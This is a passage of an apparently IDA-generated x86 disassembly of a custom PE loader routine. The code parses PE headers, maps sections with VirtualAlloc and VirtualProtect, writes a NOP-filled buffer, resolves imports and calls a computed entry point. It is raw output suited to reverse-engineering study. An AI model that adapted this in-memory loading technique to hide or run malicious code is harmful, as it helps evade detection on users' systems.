eax, [ebp+var_34] mov ecx, [ebp+var_34] mov eax, [eax+34h] sub eax, [ecx+0Ch] push eax mov eax, [ebp+var_34] mov ecx, [ebp+var_24] add ecx, [eax+0Ch] push ecx call ds:dword_4E17AC ; VirtualProtect jmp loc_4D5E5C ; --------------------------------------------------------------------------- loc_4D5F07: ; CODE XREF: sub_4D5BD7+294j mov eax, [ebp+var_40] movzx eax, word ptr [eax+14h] mov ecx, [ebp+var_40] lea eax, [ecx+eax+18h] mov [ebp+var_34], eax lea eax, [ebp+var_58] push eax push [ebp+var_58] mov eax, [ebp+var_28] sub eax, [ebp+var_34] cdq push 28h pop ecx idiv ecx push eax push [ebp+var_34] call ds:dword_4E17AC ; VirtualProtect loc_4D5F35: ; CODE XREF: sub_4D5BD7+23Cj and [ebp+var_4], 0 jmp short loc_4D5F4B ; --------------------------------------------------------------------------- loc_4D5F3B: ; DATA XREF: _5:004DE4A8o push [ebp+var_14] call sub_4D8C27 retn ; --------------------------------------------------------------------------- loc_4D5F44: ; DATA XREF: _5:004DE4ACo mov esp, [ebp+var_18] and [ebp+var_4], 0 loc_4D5F4B: ; CODE XREF: sub_4D5BD7+362j jmp short loc_4D5F6F ; --------------------------------------------------------------------------- loc_4D5F4D: ; CODE XREF: sub_4D5BD7+34j cmp [ebp+arg_10], 0 jnz short loc_4D5F62 call sub_4D58A0 mov ecx, [ebp+arg_8] xor ecx, eax mov [ebp+arg_8], ecx jmp short loc_4D5F6F ; --------------------------------------------------------------------------- loc_4D5F62: ; CODE XREF: sub_4D5BD7+37Aj call sub_4D58A0 mov ecx, [ebp+arg_8] xor ecx, eax mov [ebp+arg_8], ecx loc_4D5F6F: ; CODE XREF: sub_4D5BD7:loc_4D5F4Bj ; sub_4D5BD7+389j cmp [ebp+arg_8], 0 jz loc_4D6115 mov eax, [ebp+arg_C] add eax, [ebp+arg_8] mov [ebp+var_64], eax mov ds:dword_4E1928, 0FFFFFFFEh mov eax, ds:dword_4E1960 mov [ebp+var_68], eax mov [ebp+var_4], 2 pushaw mov ds:dword_4E1960, esp mov eax, [ebp+arg_14] push eax mov eax, [ebp+arg_10] push eax mov eax, [ebp+arg_C] push eax call [ebp+var_64] mov ds:dword_4E1928, eax mov esp, ds:dword_4E1960 popaw and [ebp+var_4], 0 call sub_4D5FCD jmp loc_4D6113 sub_4D5BD7 endp ; =============== S U B R O U T I N E ======================================= sub_4D5FCD proc near ; CODE XREF: sub_4D5BD7+3ECp ; DATA XREF: _5:004DE4B8o mov eax, [ebp-68h] mov ds:dword_4E1960, eax cmp dword ptr [ebp+18h], 0 jnz loc_4D60F6 mov eax, ds:dword_4E194C mov [ebp-80h], eax cmp dword ptr [ebp-80h], 0 jz short loc_4D6003 mov eax, [ebp-80h] add eax, 10h push eax call ds:dword_4DE01C ; RtlEnterCriticalSection mov byte ptr [ebp-84h], 1 jmp short loc_4D600A ; --------------------------------------------------------------------------- loc_4D6003: ; CODE XREF: sub_4D5FCD+1Ej and byte ptr [ebp-84h], 0 loc_4D600A: ; CODE XREF: sub_4D5FCD+34j movzx eax, byte ptr [ebp-84h] test eax, eax jz short loc_4D6047 push dword ptr [ebp+14h] mov ecx, ds:dword_4E194C call sub_4DB8E0 mov eax, ds:dword_4E194C mov [ebp-88h], eax cmp dword ptr [ebp-88h], 0 jz short loc_4D6047 mov eax, [ebp-88h] add eax, 10h push eax call ds:dword_4DE018 ; RtlLeaveCriticalSection loc_4D6047: ; CODE XREF: sub_4D5FCD+46j ; sub_4D5FCD+68j push 5Ch push dword ptr [ebp+0Ch] call sub_4CC700 pop ecx pop ecx mov [ebp-6Ch], eax cmp dword ptr [ebp-6Ch], 0 jnz short loc_4D6064 mov eax, [ebp+0Ch] mov [ebp-6Ch], eax jmp short loc_4D606B ; --------------------------------------------------------------------------- loc_4D6064: ; CODE XREF: sub_4D5FCD+8Dj mov eax, [ebp-6Ch] inc eax mov [ebp-6Ch], eax loc_4D606B: ; CODE XREF: sub_4D5FCD+95j mov eax, ds:dword_4E1954 mov [ebp-8Ch], eax cmp dword ptr [ebp-8Ch], 0 jz short loc_4D6098 mov eax, [ebp-8Ch] add eax, 10h push eax call ds:dword_4DE01C ; RtlEnterCriticalSection mov byte ptr [ebp-90h], 1 jmp short loc_4D609F ; --------------------------------------------------------------------------- loc_4D6098: ; CODE XREF: sub_4D5FCD+B0j and byte ptr [ebp-90h], 0 loc_4D609F: ; CODE XREF: sub_4D5FCD+C9j movzx eax, byte ptr [ebp-90h] test eax, eax jz short loc_4D60E7 push offset sub_4DBB0D push ds:dword_4E17C0 push dword ptr [ebp-6Ch] mov ecx, ds:dword_4E1954 call sub_4DB900 mov eax, ds:dword_4E1954 mov [ebp-94h], eax cmp dword ptr [ebp-94h], 0 jz short loc_4D60E7 mov eax, [ebp-94h] add eax, 10h push eax call ds:dword_4DE018 ; RtlLeaveCriticalSection loc_4D60E7: ; CODE XREF: sub_4D5FCD+DBj ; sub_4D5FCD+108j mov eax, [ebp+0Ch] mov [ebp-70h], eax push dword ptr [ebp-70h] call sub_4D83DD pop ecx loc_4D60F6: ; CODE XREF: sub_4D5FCD+Cj mov eax, ds:dword_4E1928 mov [ebp-1Ch], eax mov ds:dword_4E1928, 0FFFFFFFEh cmp dword ptr [ebp-1Ch], 0FFFFFFFEh jnz short locret_4D6112 and dword ptr [ebp-1Ch], 0 locret_4D6112: ; CODE XREF: sub_4D5FCD+13Fj retn sub_4D5FCD endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4D5BD7 loc_4D6113: ; CODE XREF: sub_4D5BD7+3F1j jmp short loc_4D611C ; --------------------------------------------------------------------------- loc_4D6115: ; CODE XREF: sub_4D5BD7+39Cj mov [ebp+var_1C], 1 loc_4D611C: ; CODE XREF: sub_4D5BD7:loc_4D6113j or [ebp+var_4], 0FFFFFFFFh call nullsub_1 jmp short loc_4D6128 ; END OF FUNCTION CHUNK FOR sub_4D5BD7 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_1. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4D5BD7 loc_4D6128: ; CODE XREF: sub_4D5BD7+54Ej mov eax, [ebp+var_1C] mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn 18h ; END OF FUNCTION CHUNK FOR sub_4D5BD7 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4D613C proc near ; CODE XREF: sub_4D4DC0+23Cp ; sub_4D4DC0:loc_4D501Ap push ebp mov ebp, esp xor eax, eax cmp ds:dword_4E196C, 0 setnz al pop ebp retn sub_4D613C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4D614D proc near ; CODE XREF: sub_4D4DC0:loc_4D500Ap ; sub_4D61E1:loc_4D705Cp var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = byte ptr -4 push ebp mov ebp, esp sub esp, 10h loc_4D6153: ; CODE XREF: sub_4D614D+89j and [ebp+var_4], 0 cmp ds:dword_4E196C, 0 jz short loc_4D61D0 mov [ebp+var_8], offset dword_4E196C loc_4D6167: ; CODE XREF: sub_4D614D:loc_4D61CEj mov eax, [ebp+var_8] cmp dword ptr [eax], 0 jz short loc_4D61D0 mov eax, [ebp+var_8] mov eax, [eax] mov [ebp+var_C], eax push 0 push 1 mov eax, [ebp+var_C] push dword ptr [eax] mov eax, [ebp+var_C] push dword ptr [eax+0Ch] mov eax, [ebp+var_C] push dword ptr [eax+8] mov eax, [ebp+var_C] push dword ptr [eax+4] call sub_4D4D70 add esp, 18h movzx eax, al test eax, eax jz short loc_4D61C3 mov [ebp+var_4], 1 mov eax, [ebp+var_8] mov eax, [eax] mov ecx, [ebp+var_8] mov eax, [eax+10h] mov [ecx], eax mov eax, [ebp+var_C] mov [ebp+var_10], eax push [ebp+var_10] call sub_4D83DD pop ecx jmp short loc_4D61CE ; --------------------------------------------------------------------------- loc_4D61C3: ; CODE XREF: sub_4D614D+52j mov eax, [ebp+var_8] mov eax, [eax] add eax, 10h mov [ebp+var_8], eax loc_4D61CE: ; CODE XREF: sub_4D614D+74j jmp short loc_4D6167 ; --------------------------------------------------------------------------- loc_4D61D0: ; CODE XREF: sub_4D614D+11j ; sub_4D614D+20j movzx eax, [ebp+var_4] test eax, eax jnz loc_4D6153 mov al, [ebp+var_4] leave retn sub_4D614D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4D61E1 proc near ; CODE XREF: sub_4D931F+2Fp ; sub_4DAE2D+2Dp var_148 = dword ptr -148h var_144 = dword ptr -144h var_140 = dword ptr -140h var_13C = dword ptr -13Ch var_138 = dword ptr -138h var_134 = dword ptr -134h var_130 = dword ptr -130h var_12C = dword ptr -12Ch var_128 = dword ptr -128h var_10C = dword ptr -10Ch var_104 = dword ptr -104h var_100 = dword ptr -100h var_FC = dword ptr -0FCh var_F8 = dword ptr -0F8h var_F4 = dword ptr -0F4h var_F0 = dword ptr -0F0h var_EC = dword ptr -0ECh var_E8 = dword ptr -0E8h var_E4 = dword ptr -0E4h var_E0 = dword ptr -0E0h var_DC = dword ptr -0DCh var_D8 = dword ptr -0D8h var_D4 = dword ptr -0D4h var_D0 = dword ptr -0D0h var_CC = byte ptr -0CCh var_C8 = dword ptr -0C8h var_C4 = dword ptr -0C4h var_C0 = dword ptr -0C0h var_BC = dword ptr -0BCh var_B8 = dword ptr -0B8h var_B4 = dword ptr -0B4h var_B0 = dword ptr -0B0h var_AC = dword ptr -0ACh var_A8 = dword ptr -0A8h var_A4 = dword ptr -0A4h var_A0 = dword ptr -0A0h var_9C = dword ptr -9Ch var_98 = dword ptr -98h var_94 = dword ptr -94h var_90 = dword ptr -90h var_8C = dword ptr -8Ch var_88 = dword ptr -88h var_84 = dword ptr -84h var_80 = dword ptr -80h var_7C = dword ptr -7Ch var_78 = dword ptr -78h var_74 = dword ptr -74h var_70 = dword ptr -70h var_6C = dword ptr -6Ch var_68 = dword ptr -68h var_64 = dword ptr -64h var_60 = byte ptr -60h var_5C = byte ptr -5Ch var_58 = dword ptr -58h var_54 = dword ptr -54h var_50 = dword ptr -50h var_4C = dword ptr -4Ch var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 ; FUNCTION CHUNK AT 004D6B27 SIZE 00000058 BYTES ; FUNCTION CHUNK AT 004D6B8F SIZE 000004F6 BYTES ; FUNCTION CHUNK AT 004D7132 SIZE 0000000F BYTES push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_4DE4C0 push offset sub_4CC54C mov eax, large fs:0 push eax mov large fs:0, esp push ecx push ecx sub esp, 130h push ebx push esi push edi mov [ebp+var_18], esp mov [ebp+var_12C], edx mov [ebp+var_128], ecx or [ebp+var_3C], 0FFFFFFFFh or [ebp+var_38], 0FFFFFFFFh or [ebp+var_58], 0FFFFFFFFh and [ebp+var_34], 0 and [ebp+var_30], 0 and [ebp+var_1C], 0 and [ebp+var_2C], 0 and [ebp+var_54], 0 and [ebp+var_4C], 0 and [ebp+var_50], 0 and [ebp+var_40], 0 and [ebp+var_28], 0 and [ebp+var_24], 0 and [ebp+var_5C], 0 and [ebp+var_20], 0 push offset dword_4E1930 call ds:dword_4E16C4 ; RtlEnterCriticalSection and [ebp+var_48], 0 mov eax, ds:dword_4E1964 mov [ebp+var_44], eax and [ebp+var_4], 0 push [ebp+var_128] call ds:dword_4E1718 ; GetModuleHandleA test eax, eax jz short loc_4D62A9 push [ebp+var_128] call ds:dword_4E175C ; LoadLibraryA push 0FFFFFFFFh mov [ebp+var_130], eax lea eax, [ebp+var_10] push eax call sub_4CC496 pop ecx pop ecx mov eax, [ebp+var_130] jmp loc_4D7132 ; --------------------------------------------------------------------------- loc_4D62A9: ; CODE XREF: sub_4D61E1+9Cj push [ebp+var_12C] lea eax, [ebp+var_24] push eax push [ebp+var_128] call sub_4D581E add esp, 0Ch mov [ebp+var_6C], eax cmp ds:dword_4E1964, 0 jz short loc_4D632D cmp [ebp+var_6C], 0 jz short loc_4D632D mov eax, ds:dword_4E1964 mov [ebp+var_74], eax jmp short loc_4D62F1 ; --------------------------------------------------------------------------- loc_4D62DD: ; CODE XREF: sub_4D61E1:loc_4D632Bj mov eax, [ebp+var_74] mov eax, [eax+4] mov [ebp+var_74], eax mov eax, ds:dword_4E1968 inc eax mov ds:dword_4E1968, eax loc_4D62F1: ; CODE XREF: sub_4D61E1+FAj cmp [ebp+var_74], 0 jz short loc_4D632D mov eax, [ebp+var_74] mov eax, [eax] cmp eax, [ebp+var_6C] jnz short loc_4D632B mov eax, ds:dword_4E1968 inc eax mov ds:dword_4E1968, eax push 0FFFFFFFFh and [ebp+var_134], 0 lea eax, [ebp+var_10] push eax call sub_4CC496 pop ecx pop ecx mov eax, [ebp+var_134] jmp loc_4D7132 ; --------------------------------------------------------------------------- loc_4D632B: ; CODE XREF: sub_4D61E1+11Ej jmp short loc_4D62DD ; --------------------------------------------------------------------------- loc_4D632D: ; CODE XREF: sub_4D61E1+EAj ; sub_4D61E1+F0j ... and ds:dword_4E1968, 0 mov eax, [ebp+var_6C] mov [ebp+var_48], eax lea eax, [ebp+var_48] mov ds:dword_4E1964, eax cmp [ebp+var_6C], 0 jnz loc_4D63CE mov eax, [ebp+var_128] mov [ebp+var_78], eax push [ebp+var_12C] push 0 push [ebp+var_78] call ds:dword_4E1758 ; LoadLibraryExA mov [ebp+var_7C], eax cmp [ebp+var_7C], 0 jz short loc_4D638E mov eax, [ebp+var_12C] and eax, 2 test eax, eax jnz short loc_4D63AD push [ebp+var_128] push [ebp+var_7C] call sub_4D5070 test eax, eax jnz short loc_4D63AD loc_4D638E: ; CODE XREF: sub_4D61E1+18Cj call ds:dword_4E1710 ; RtlGetLastWin32Error test eax, eax jnz short loc_4D63A0 push 7Eh call ds:dword_4E178C ; RtlRestoreLastWin32Error loc_4D63A0: ; CODE XREF: sub_4D61E1+1B5j push [ebp+var_7C] call ds:dword_4E16E0 ; FreeLibrary and [ebp+var_7C], 0 loc_4D63AD: ; CODE XREF: sub_4D61E1+199j ; sub_4D61E1+1ABj push 0FFFFFFFFh mov eax, [ebp+var_7C] mov [ebp+var_138], eax lea eax, [ebp+var_10] push eax call sub_4CC496 pop ecx pop ecx mov eax, [ebp+var_138] jmp loc_4D7132 ; --------------------------------------------------------------------------- loc_4D63CE: ; CODE XREF: sub_4D61E1+165j push 0 push 0 push [ebp+var_6C] call sub_4D8892 add esp, 0Ch mov [ebp+var_28], eax push [ebp+var_28] call ds:dword_4E1718 ; GetModuleHandleA mov [ebp+var_80], eax cmp [ebp+var_80], 0 jz short loc_4D6413 push 0FFFFFFFFh mov eax, [ebp+var_80] mov [ebp+var_13C], eax lea eax, [ebp+var_10] push eax call sub_4CC496 pop ecx pop ecx mov eax, [ebp+var_13C] jmp loc_4D7132 ; --------------------------------------------------------------------------- loc_4D6413: ; CODE XREF: sub_4D61E1+20Fj mov eax, [ebp+var_24] mov [ebp+var_84], eax jmp short loc_4D642B ; --------------------------------------------------------------------------- loc_4D641E: ; CODE XREF: sub_4D61E1:loc_4D644Fj mov eax, [ebp+var_84] inc eax mov [ebp+var_84], eax loc_4D642B: ; CODE XREF: sub_4D61E1+23Bj mov eax, [ebp+var_84] movsx eax, byte ptr [eax] test eax, eax jz short loc_4D6451 mov eax, [ebp+var_84] movsx eax, byte ptr [eax] cmp eax, 2Fh jnz short loc_4D644F mov eax, [ebp+var_84] mov byte ptr [eax], 5Ch loc_4D644F: ; CODE XREF: sub_4D61E1+263j jmp short loc_4D641E ; --------------------------------------------------------------------------- loc_4D6451: ; CODE XREF: sub_4D61E1+255j push 0 lea eax, [ebp+var_3C] push eax push 0 push 0 push [ebp+var_24] call sub_4D0346 test eax, eax jnz short loc_4D6477 cmp [ebp+var_3C], 0 jnz short loc_4D6477 mov ecx, 0EF00000Fh call sub_4D8342 loc_4D6477: ; CODE XREF: sub_4D61E1+284j ; sub_4D61E1+28Aj lea eax, [ebp+var_60] push eax push [ebp+var_3C] call sub_4D0672 push 40h call sub_4D835A pop ecx mov [ebp+var_F4], eax mov eax, [ebp+var_F4] mov [ebp+var_50], eax lea eax, [ebp+var_64] push eax push 0 push 0 push 40h push [ebp+var_50] push [ebp+var_3C] call sub_4D1177 test eax, eax jz short loc_4D64B9 cmp [ebp+var_64], 0 jnz short loc_4D64C3 loc_4D64B9: ; CODE XREF: sub_4D61E1+2D0j mov ecx, 0EF00000Fh call sub_4D8342 loc_4D64C3: ; CODE XREF: sub_4D61E1+2D6j push 0 push 0 mov eax, [ebp+var_50] push dword ptr [eax+3Ch] push [ebp+var_3C] call sub_4D0421 push 0F8h call sub_4D835A pop ecx mov [ebp+var_F8], eax mov eax, [ebp+var_F8] mov [ebp+var_4C], eax lea eax, [ebp+var_64] push eax push 0 push 0 push 0F8h push [ebp+var_4C] push [ebp+var_3C] call sub_4D1177 test eax, eax jz short loc_4D6511 cmp [ebp+var_64], 0 jnz short loc_4D651B loc_4D6511: ; CODE XREF: sub_4D61E1+328j mov ecx, 0EF00000Fh call sub_4D8342 loc_4D651B: ; CODE XREF: sub_4D61E1+32Ej mov eax, [ebp+var_4C] cmp dword ptr [eax], 4550h jz short loc_4D6530 mov ecx, 0EF00000Ch call sub_4D8342 loc_4D6530: ; CODE XREF: sub_4D61E1+343j mov eax, [ebp+var_4C] movzx eax, word ptr [eax+14h] mov ecx, [ebp+var_4C] lea eax, [ecx+eax+18h] sub eax, [ebp+var_4C] mov ecx, [ebp+var_50] mov ecx, [ecx+3Ch] add ecx, eax mov [ebp+var_70], ecx mov eax, [ebp+var_4C] movzx eax, word ptr [eax+6] imul eax, 28h mov ecx, [ebp+var_70] add ecx, eax mov [ebp+var_68], ecx mov [ebp+var_34], 600h push [ebp+var_34] call sub_4D835A pop ecx mov [ebp+var_FC], eax mov eax, [ebp+var_FC] mov [ebp+var_1C], eax mov ecx, [ebp+var_34] xor eax, eax mov edi, [ebp+var_1C] mov edx, ecx shr ecx, 2 rep stosd mov ecx, edx and ecx, 3 rep stosb push 200h call sub_4D835A pop ecx mov [ebp+var_100], eax mov eax, [ebp+var_100] mov [ebp+var_54], eax mov ecx, 80h mov eax, 90909090h mov edi, [ebp+var_54] rep stosd push 0 push 0 push 0 push [ebp+var_3C] call sub_4D0421 lea eax, [ebp+var_64] push eax push 0 push 0 push [ebp+var_68] push [ebp+var_1C] push [ebp+var_3C] call sub_4D1177 test eax, eax jz short loc_4D65EA cmp [ebp+var_64], 0 jnz short loc_4D65F4 loc_4D65EA: ; CODE XREF: sub_4D61E1+401j mov ecx, 0EF00000Fh call sub_4D8342 loc_4D65F4: ; CODE XREF: sub_4D61E1+407j mov eax, [ebp+var_1C] mov ecx, [ebp+var_1C] add ecx, [eax+3Ch] mov [ebp+var_A0], ecx mov eax, [ebp+var_A0] movzx eax, word ptr [eax+14h] mov ecx, [ebp+var_A0] lea eax, [ecx+eax+18h] mov [ebp+var_90], eax mov eax, [ebp+var_A0] movzx eax, word ptr [eax+6] imul eax, 28h mov ecx, [ebp+var_90] add ecx, eax mov [ebp+var_8C], ecx mov eax, [ebp+var_A0] add eax, 88h mov [ebp+var_98], eax mov eax, [ebp+var_A0] add eax, 80h mov [ebp+var_88], eax mov eax, [ebp+var_A0] and dword ptr [eax+24h], 0 mov eax, [ebp+var_A0] and dword ptr [eax+20h], 0 mov eax, [ebp+var_A0] and dword ptr [eax+1Ch], 0 mov eax, [ebp+var_54] mov ecx, [ebp+var_A0] mov ecx, [ecx+0A0h] mov [eax+34h], ecx mov eax, [ebp+var_54] mov ecx, [ebp+var_A0] mov ecx, [ecx+0A4h] mov [eax+38h], ecx mov eax, [ebp+var_A0] cmp dword ptr [eax+84h], 0 jz short loc_4D66BF mov eax, [ebp+var_54] mov ecx, [ebp+var_A0] mov ecx, [ecx+80h] mov [eax+3Ch], ecx jmp short loc_4D66C6 ; --------------------------------------------------------------------------- loc_4D66BF: ; CODE XREF: sub_4D61E1+4C8j mov eax, [ebp+var_54] and dword ptr [eax+3Ch], 0 loc_4D66C6: ; CODE XREF: sub_4D61E1+4DCj mov eax, [ebp+var_54] add eax, 40h mov [ebp+var_94], eax mov eax, [ebp+var_94] and dword ptr [eax], 0 mov eax, [ebp+var_54] add eax, 44h mov [ebp+var_9C], eax jmp short loc_4D66F8 ; --------------------------------------------------------------------------- loc_4D66E9: ; CODE XREF: sub_4D61E1:loc_4D6C30j mov eax, [ebp+var_90] add eax, 28h mov [ebp+var_90], eax loc_4D66F8: ; CODE XREF: sub_4D61E1+506j mov eax, [ebp+var_90] cmp eax, [ebp+var_8C] jnb loc_4D6C35 mov eax, [ebp+var_9C] mov ecx, [ebp+var_90] mov ecx, [ecx+14h] mov [eax], ecx mov eax, [ebp+var_9C] add eax, 4 mov [ebp+var_9C], eax mov eax, [ebp+var_9C] mov ecx, [ebp+var_90] mov ecx, [ecx+10h] mov [eax], ecx mov eax, [ebp+var_9C] add eax, 4 mov [ebp+var_9C], eax mov eax, [ebp+var_9C] mov ecx, [ebp+var_90] mov ecx, [ecx+24h] mov [eax], ecx mov eax, [ebp+var_9C] add eax, 4 mov [ebp+var_9C], eax cmp ds:dword_4E1680, 2 jnb loc_4D686E mov eax, [ebp+var_90] mov ecx, [ebp+var_98] mov eax, [eax+0Ch] cmp eax, [ecx] ja loc_4D686E mov eax, [ebp+var_90] mov eax, [eax+0Ch] mov ecx, [ebp+var_90] add eax, [ecx+10h] mov ecx, [ebp+var_98] cmp eax, [ecx] jbe loc_4D686E push 200h mov eax, [ebp+var_90] push dword ptr [eax+10h] call sub_4D5AE5 pop ecx pop ecx mov [ebp+var_30], eax push [ebp+var_30] call sub_4D835A pop ecx mov [ebp+var_104], eax mov eax, [ebp+var_104] mov [ebp+var_2C], eax mov eax, [ebp+var_A0] push dword ptr [eax+38h] mov eax, [ebp+var_90] push dword ptr [eax+8] call sub_4D5AE5 pop ecx pop ecx mov ecx, [ebp+var_A0] mov ecx, [ecx+20h] add ecx, eax mov eax, [ebp+var_A0] mov [eax+20h], ecx push 0 push 0 mov eax, [ebp+var_90] push dword ptr [eax+14h] push [ebp+var_3C] call sub_4D0421 lea eax, [ebp+var_64] push eax push 0 push 0 mov eax, [ebp+var_90] push dword ptr [eax+10h] push [ebp+var_2C] push [ebp+var_3C] call sub_4D1177 test eax, eax jz short loc_4D6846 cmp [ebp+var_64], 0 jnz short loc_4D6850 loc_4D6846: ; CODE XREF: sub_4D61E1+65Dj mov ecx, 0EF00000Fh call sub_4D8342 loc_4D6850: ; CODE XREF: sub_4D61E1+663j mov eax, [ebp+var_90] mov ecx, [ebp+var_34] mov [eax+14h], ecx mov eax, [ebp+var_90] mov dword ptr [eax+24h], 0C0000040h jmp loc_4D6C30 ; --------------------------------------------------------------------------- loc_4D686E: ; CODE XREF: sub_4D61E1+590j ; sub_4D61E1+5A7j ... mov eax, [ebp+var_90] mov ecx, [ebp+var_88] mov eax, [eax+0Ch] cmp eax, [ecx] ja loc_4D6B8F mov eax, [ebp+var_90] mov eax, [eax+0Ch] mov ecx, [ebp+var_90] add eax, [ecx+10h] mov ecx, [ebp+var_88] cmp eax, [ecx] jbe loc_4D6B8F and [ebp+var_A8], 0 mov [ebp+var_4], 1 push 4 push 1000h mov eax, [ebp+var_90] push dword ptr [eax+10h] push 0 call ds:dword_4E17A4 ; VirtualAlloc mov [ebp+var_A8], eax push 0 push 0 mov eax, [ebp+var_90] push dword ptr [eax+14h] push [ebp+var_3C] call sub_4D0421 lea eax, [ebp+var_64] push eax push 0 push 0 mov eax, [ebp+var_90] push dword ptr [eax+10h] push [ebp+var_A8] push [ebp+var_3C] call sub_4D1177 test eax, eax jz short loc_4D690F cmp [ebp+var_64], 0 jnz short loc_4D6919 loc_4D690F: ; CODE XREF: sub_4D61E1+726j mov ecx, 0EF00000Fh call sub_4D8342 loc_4D6919: ; CODE XREF: sub_4D61E1+72Cj mov eax, [ebp+var_90] mov eax, [eax+0Ch] mov [ebp+var_B0], eax mov eax, [ebp+var_88] mov eax, [eax] sub eax, [ebp+var_B0] mov ecx, [ebp+var_A8] add ecx, eax mov [ebp+var_AC], ecx and [ebp+var_B4], 0 jmp short loc_4D695A ; --------------------------------------------------------------------------- loc_4D694D: ; CODE XREF: sub_4D61E1:loc_4D6B5Aj mov eax, [ebp+var_B4] inc eax mov [ebp+var_B4], eax loc_4D695A: ; CODE XREF: sub_4D61E1+76Aj mov eax, [ebp+var_88] mov eax, [eax+4] xor edx, edx push 14h pop ecx div ecx cmp [ebp+var_B4], eax jnb loc_4D6B5F mov eax, [ebp+var_B4] imul eax, 14h mov ecx, [ebp+var_AC] cmp dword ptr [ecx+eax+0Ch], 0 jnz short loc_4D6991 jmp loc_4D6B5F ; --------------------------------------------------------------------------- loc_4D6991: ; CODE XREF: sub_4D61E1+7A9j mov eax, [ebp+var_B4] imul eax, 14h mov ecx, [ebp+var_AC] mov edx, [ebp+var_A8] add edx, [ecx+eax+0Ch] sub edx, [ebp+var_B0] mov [ebp+var_BC], edx mov eax, [ebp+var_90] mov ecx, [ebp+var_A8] add ecx, [eax+10h] cmp [ebp+var_BC], ecx jbe short loc_4D69D2 jmp loc_4D6B5F ; --------------------------------------------------------------------------- loc_4D69D2: ; CODE XREF: sub_4D61E1+7EAj mov eax, [ebp+var_BC] movsx eax, byte ptr [eax] test eax, eax jnz short loc_4D69E4 jmp loc_4D6B5F ; --------------------------------------------------------------------------- loc_4D69E4: ; CODE XREF: sub_4D61E1+7FCj and ds:dword_4E1968, 0 and [ebp+var_B8], 0 push [ebp+var_BC] call sub_4DAE83 mov [ebp+var_B8], eax cmp [ebp+var_B8], 0 jnz loc_4D6B27 cmp ds:dword_4E1968, 0 jz short loc_4D6A1E jmp loc_4D6B29 ; --------------------------------------------------------------------------- loc_4D6A1E: ; CODE XREF: sub_4D61E1+836j mov edi, [ebp+var_BC] or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx push ecx push [ebp+var_24] call sub_4D92CA pop ecx pop ecx mov [ebp+var_C0], eax mov [ebp+var_4], 2 push 5Ch push [ebp+var_C0] call sub_4CC700 pop ecx pop ecx mov [ebp+var_C4], eax cmp [ebp+var_C4], 0 jz short loc_4D6A72 mov eax, [ebp+var_C4] inc eax mov [ebp+var_C4], eax jmp short loc_4D6A7E ; --------------------------------------------------------------------------- loc_4D6A72: ; CODE XREF: sub_4D61E1+880j mov eax, [ebp+var_C0] mov [ebp+var_C4], eax loc_4D6A7E: ; CODE XREF: sub_4D61E1+88Fj mov edi, [ebp+var_BC] mov edx, [ebp+var_C4] or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx sub edi, ecx mov esi, edi mov eax, ecx mov edi, edx shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb push [ebp+var_C0] call sub_4DAE83 mov [ebp+var_B8], eax cmp [ebp+var_B8], 0 jnz short loc_4D6B00 cmp ds:dword_4E1968, 0 jz short loc_4D6AD9 push 1 lea eax, [ebp+var_10] push eax call sub_4CC496 pop ecx pop ecx jmp short loc_4D6B29 ; --------------------------------------------------------------------------- loc_4D6AD9: ; CODE XREF: sub_4D61E1+8E7j push 7Eh call ds:dword_4E178C ; RtlRestoreLastWin32Error push 0FFFFFFFFh and [ebp+var_140], 0 lea eax, [ebp+var_10] push eax call sub_4CC496 pop ecx pop ecx mov eax, [ebp+var_140] jmp loc_4D7132 ; --------------------------------------------------------------------------- loc_4D6B00: ; CODE XREF: sub_4D61E1+8DEj mov [ebp+var_4], 1 call sub_4D6B0E jmp short loc_4D6B27 sub_4D61E1 endp ; =============== S U B R O U T I N E ======================================= sub_4D6B0E proc near ; CODE XREF: sub_4D61E1+926p ; DATA XREF: _5:004DE4E0o mov eax, [ebp-0C0h] mov [ebp-108h], eax push dword ptr [ebp-108h] call sub_4D83DD pop ecx retn sub_4D6B0E endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4D61E1 loc_4D6B27: ; CODE XREF: sub_4D61E1+829j ; sub_4D61E1+92Bj jmp short loc_4D6B2D ; --------------------------------------------------------------------------- loc_4D6B29: ; CODE XREF: sub_4D61E1+838j ; sub_4D61E1+8F6j mov [ebp+var_5C], 1 loc_4D6B2D: ; CODE XREF: sub_4D61E1:loc_4D6B27j cmp [ebp+var_B8], 0 jz short loc_4D6B5A mov eax, [ebp+var_94] push dword ptr [eax] push [ebp+var_B8] push [ebp+var_BC] call sub_4D56EB add esp, 0Ch mov ecx, [ebp+var_94] mov [ecx], eax loc_4D6B5A: ; CODE XREF: sub_4D61E1+953j jmp loc_4D694D ; --------------------------------------------------------------------------- loc_4D6B5F: ; CODE XREF: sub_4D61E1+78Fj ; sub_4D61E1+7ABj ... push 8000h push 0 push [ebp+var_A8] call ds:dword_4E17A8 ; VirtualFree and [ebp+var_A8], 0 and [ebp+var_4], 0 jmp short loc_4D6B8F ; END OF FUNCTION CHUNK FOR sub_4D61E1 ; =============== S U B R O U T I N E ======================================= sub_4D6B7F proc near ; DATA XREF: _5:004DE4D0o push dword ptr [ebp-14h] call sub_4D8C27 retn sub_4D6B7F endp ; =============== S U B R O U T I N E ======================================= sub_4D6B88 proc near ; DATA XREF: _5:004DE4D4o mov esp, [ebp-18h] and dword ptr [ebp-4], 0 sub_4D6B88 endp ; sp-analysis failed ; START OF 